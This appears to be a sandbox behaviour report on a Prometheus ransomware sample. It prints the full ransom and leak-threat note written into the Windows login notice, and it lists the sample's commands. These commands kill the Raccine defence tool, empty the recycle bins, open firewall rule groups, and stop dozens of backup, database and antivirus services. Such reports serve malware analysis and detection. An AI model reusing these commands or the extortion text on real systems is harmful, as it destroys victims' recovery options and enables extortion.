Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "!!! ALL YOUR FILES ARE ENCRYPTED !!!\r\n\r\nAll your files, documents, photos, databases and other important files are encrypted.\r\n\r\nYou are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key.\r\nOnly we can give you this key and only we can recover your files.\r\n\r\n!!!!!!!!! We backed up all your documents and databases.\r\nIF YOU NOT START DIALOGUE WITH US, WE WILL POST ALL YOUR DOCUMENTS AND DATABASES ON INTERNET. !!!!!!!!!\r\n\r\nWe recommend you upload 3 encrypted files in https://privatlab.com/file and paste link to you message. We will demonstrate that we can recover your files.\r\n* Please note that files must not contain any valuable information.\r\n\r\nDo you really want to restore your files?\r\n\r\n1) Using a TOR browser!\r\na) Download and install TOR browser from this site: https://torproject.org/\r\nb) Open website: http://sonarmsniko2lvfu.onion/?a=reg\r\nc) Register account\u00a0\r\nd) Click Compose\u00a0 and write to us, our username: Prometheus, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]]) and link to 3 encrypted files in https://privatlab.com/file\r\n\r\n2) Using a email\r\nWrite to 3 emails address at once, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]])\u00a0and link to 3 encrypted files in https://privatlab.com/file :\r\[email protected]\r\[email protected]\r\[email protected]\r\n\r\nWe recommend using 1 method via TOR browser to contact us.\r\nEmail letters may not reach us. Therefore, if you do not receive a response within 12 hours, please use method 1.\r\n\r\n* Do not rename encrypted files.\r\n* Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n* Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.\r\n* For our safety, all information about your server and your decryption key will be automaticaly DELETED AFTER 7 DAYS! You will irrevocably lose all your data!"	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

C:\Users\Admin\AppData\Local\Temp\52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
"C:\Users\Admin\AppData\Local\Temp\52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe"
1⤵
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:520
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\system32\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:744
- C:\Windows\system32\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:620
- C:\Windows\system32\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:1684
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1692
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  2⤵
  PID:1952
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:1296
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  2⤵
  PID:1260
- C:\Windows\system32\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:1308
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:112
- C:\Windows\system32\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:864
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:968
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:1168
- C:\Windows\system32\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:1536
- C:\Windows\system32\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:1328
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:904
- C:\Windows\system32\net.exe
  "net.exe" start Dnscache /y
  2⤵
  PID:960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start Dnscache /y
    3⤵
    PID:1840
- C:\Windows\system32\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:1140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:1688
- C:\Windows\system32\net.exe
  "net.exe" start FDResPub /y
  2⤵
  PID:1964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start FDResPub /y
    3⤵
    PID:1564
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SQL_2008 /y
  2⤵
  PID:1164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
    3⤵
    PID:816
- C:\Windows\system32\net.exe
  "net.exe" start SSDPSRV /y
  2⤵
  PID:1248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start SSDPSRV /y
    3⤵
    PID:1188
- C:\Windows\system32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1824
- C:\Windows\system32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:1376
- C:\Windows\system32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:844
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1220
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SQLEXPRESS /y
  2⤵
  PID:1544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
    3⤵
    PID:1572
- C:\Windows\system32\net.exe
  "net.exe" stop EhttpSrv /y
  2⤵
  PID:1368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EhttpSrv /y
    3⤵
    PID:1488
- C:\Windows\system32\net.exe
  "net.exe" start upnphost /y
  2⤵
  PID:928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start upnphost /y
    3⤵
    PID:1524
- C:\Windows\system32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:1096
- C:\Windows\system32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1220
- C:\Windows\system32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1632
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:1312
- C:\Windows\system32\net.exe
  "net.exe" stop ekrn /y
  2⤵
  PID:308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ekrn /y
    3⤵
    PID:2276
- C:\Windows\system32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2388
- C:\Windows\system32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2668
- C:\Windows\system32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  "net.exe" stop MMS /y
  2⤵
  PID:960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MMS /y
    3⤵
    PID:2404
- C:\Windows\system32\net.exe
  "net.exe" stop mozyprobackup /y
  2⤵
  PID:1140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mozyprobackup /y
    3⤵
    PID:2216
- C:\Windows\system32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1260
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2140
- C:\Windows\system32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2744
- C:\Windows\system32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2204
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$TPS /y
  2⤵
  PID:572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$TPS /y
    3⤵
    PID:2156
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SYSTEM_BGC /y
  2⤵
  PID:788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
    3⤵
    PID:3308
- C:\Windows\system32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:2364
- C:\Windows\system32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:292
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:2348
- C:\Windows\system32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2124
- C:\Windows\system32\net.exe
  "net.exe" stop EPUpdateService /y
  2⤵
  PID:816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EPUpdateService /y
    3⤵
    PID:2080
- C:\Windows\system32\net.exe
  "net.exe" stop EPSecurityService /y
  2⤵
  PID:904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EPSecurityService /y
    3⤵
    PID:2260
- C:\Windows\system32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:3908
- C:\Windows\system32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:3472
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  2⤵
  PID:2484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
    3⤵
    PID:3828
- C:\Windows\system32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:3844
- C:\Windows\system32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:1440
- C:\Windows\system32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:3900
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$TPSAMA /y
  2⤵
  PID:2500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
    3⤵
    PID:3940
- C:\Windows\system32\net.exe
  "net.exe" stop kavfsslp /y
  2⤵
  PID:2492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop kavfsslp /y
    3⤵
    PID:3892
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamBackupSvc /y
  2⤵
  PID:2476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamBackupSvc /y
    3⤵
    PID:3932
- C:\Windows\system32\net.exe
  "net.exe" stop KAVFSGT /y
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop KAVFSGT /y
    3⤵
    PID:3772
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:2452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:3788
- C:\Windows\system32\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:2436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:3908
- C:\Windows\system32\net.exe
  "net.exe" stop KAVFS /y
  2⤵
  PID:2420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop KAVFS /y
    3⤵
    PID:3812
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2⤵
  PID:2412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    3⤵
    PID:3948
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:2396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:3968
- C:\Windows\system32\net.exe
  "net.exe" stop FA_Scheduler /y
  2⤵
  PID:2380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop FA_Scheduler /y
    3⤵
    PID:3924
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:2372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  "net.exe" stop SDRSVC /y
  2⤵
  PID:2356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SDRSVC /y
    3⤵
    PID:3764
- C:\Windows\system32\net.exe
  "net.exe" stop ESHASRV /y
  2⤵
  PID:2340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ESHASRV /y
    3⤵
    PID:3780
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:2332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3836
- C:\Windows\system32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3804
- C:\Windows\system32\net.exe
  "net.exe" stop EsgShKernel /y
  2⤵
  PID:2316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EsgShKernel /y
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:2308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3916
- C:\Windows\system32\net.exe
  "net.exe" stop “SQL Backups /y
  2⤵
  PID:2292
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQL Backups /y
    3⤵
    PID:3868
- C:\Windows\system32\net.exe
  "net.exe" stop “Enterprise Client Service” /y
  2⤵
  PID:2268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Enterprise Client Service” /y
    3⤵
    PID:3796
- C:\Windows\system32\net.exe
  "net.exe" stop EraserSvc11710 /y
  2⤵
  PID:2252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EraserSvc11710 /y
    3⤵
    PID:3884
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:3852
- C:\Windows\system32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2172
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3820
- C:\Windows\system32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2440
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeFramework /y
  2⤵
  PID:2900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeFramework /y
    3⤵
    PID:4020
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:2892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:1740
- C:\Windows\system32\net.exe
  "net.exe" stop NetMsmqActivator /y
  2⤵
  PID:2988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetMsmqActivator /y
    3⤵
    PID:1692
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeIS /y
  2⤵
  PID:3004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeIS /y
    3⤵
    PID:1544
- C:\Windows\system32\net.exe
  "net.exe" stop SamSs /y
  2⤵
  PID:3020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SamSs /y
    3⤵
    PID:1052
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  2⤵
  PID:3196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
    3⤵
    PID:2140
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2216
- C:\Windows\system32\net.exe
  "net.exe" stop masvc /y
  2⤵
  PID:3164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop masvc /y
    3⤵
    PID:2512
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$SQL_2008 /y
  2⤵
  PID:3140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  "net.exe" stop “Symantec System Recovery” /y
  2⤵
  PID:3132
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Symantec System Recovery” /y
    3⤵
    PID:1164
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SYSTEM_BGC /y
  2⤵
  PID:3124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Device Control Service” /y
  2⤵
  PID:3116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
    3⤵
    PID:2144
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeMTA /y
  2⤵
  PID:3108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMTA /y
    3⤵
    PID:1892
- C:\Windows\system32\net.exe
  "net.exe" stop SstpSvc /y
  2⤵
  PID:3092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SstpSvc /y
    3⤵
    PID:1336
- C:\Windows\system32\net.exe
  "net.exe" stop msftesql$PROD /y
  2⤵
  PID:3076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msftesql$PROD /y
    3⤵
    PID:2348
- C:\Windows\system32\net.exe
  "net.exe" stop “SQLsafe Filter Service” /y
  2⤵
  PID:2260
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQLsafe Filter Service” /y
    3⤵
    PID:2568
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:1688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    3⤵
    PID:1572
- C:\Windows\system32\net.exe
  "net.exe" stop SMTPSvc /y
  2⤵
  PID:2084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SMTPSvc /y
    3⤵
    PID:2600
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Clean Service” /y
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Clean Service” /y
    3⤵
    PID:2824
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeMGMT /y
  2⤵
  PID:2052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMGMT /y
    3⤵
    PID:2664
- C:\Windows\system32\net.exe
  "net.exe" stop POP3Svc /y
  2⤵
  PID:3068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop POP3Svc /y
    3⤵
    PID:2688
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer110 /y
  2⤵
  PID:3052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer110 /y
    3⤵
    PID:4060
- C:\Windows\system32\net.exe
  "net.exe" stop “SQLsafe Backup Service” /y
  2⤵
  PID:3036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
    3⤵
    PID:4076
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer /y
  2⤵
  PID:3028
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer /y
    3⤵
    PID:3000
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos AutoUpdate Service” /y
  2⤵
  PID:3012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
    3⤵
    PID:2712
- C:\Windows\system32\net.exe
  "net.exe" stop McShield /y
  2⤵
  PID:2972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McShield /y
    3⤵
    PID:2156
- C:\Windows\system32\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:2956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:112
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  2⤵
  PID:2940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
    3⤵
    PID:2288
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerOLAPService /y
  2⤵
  PID:2924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
    3⤵
    PID:4092
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamMountSvc /y
  2⤵
  PID:2916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamMountSvc /y
    3⤵
    PID:4044
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamHvIntegrationSvc /y
  2⤵
  PID:2884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
    3⤵
    PID:1312
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeEngineService /y
  2⤵
  PID:2876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeEngineService /y
    3⤵
    PID:2536
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerADHelper /y
  2⤵
  PID:2868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper /y
    3⤵
    PID:1392
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPS /y
  2⤵
  PID:2860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
    3⤵
    PID:1608
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamCloudSvc /y
  2⤵
  PID:2852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamCloudSvc /y
    3⤵
    PID:1824
- C:\Windows\system32\net.exe
  "net.exe" stop macmnsvc /y
  2⤵
  PID:2844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop macmnsvc /y
    3⤵
    PID:4068
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  2⤵
  PID:2836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
    3⤵
    PID:2124
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamCatalogSvc /y
  2⤵
  PID:2828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamCatalogSvc /y
    3⤵
    PID:2552
- C:\Windows\system32\net.exe
  "net.exe" stop klnagent /y
  2⤵
  PID:2812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop klnagent /y
    3⤵
    PID:2392
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  2⤵
  PID:2796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
    3⤵
    PID:4084
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamBrokerSvc /y
  2⤵
  PID:2788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamBrokerSvc /y
    3⤵
    PID:2592
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer100 /y
  2⤵
  PID:2772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer100 /y
    3⤵
    PID:4028
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2576
- C:\Windows\system32\net.exe
  "net.exe" stop “Acronis VSS Provider” /y
  2⤵
  PID:2756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Acronis VSS Provider” /y
    3⤵
    PID:4036
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2148
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:1300
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:3748
- C:\Windows\system32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:2668
- C:\Windows\system32\net.exe
  "net.exe" stop ntrtscan /y
  2⤵
  PID:2088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ntrtscan /y
    3⤵
    PID:3336
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:3248
- C:\Windows\system32\net.exe
  "net.exe" stop MBAMService /y
  2⤵
  PID:3204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MBAMService /y
    3⤵
    PID:2232
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer /y
  2⤵
  PID:3576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer /y
    3⤵
    PID:3192
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:3984
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:4052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:1952
- C:\Windows\system32\net.exe
  "net.exe" stop “intel(r) proset monitoring service” /y
  2⤵
  PID:1600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y
    3⤵
    PID:2976
- C:\Windows\system32\net.exe
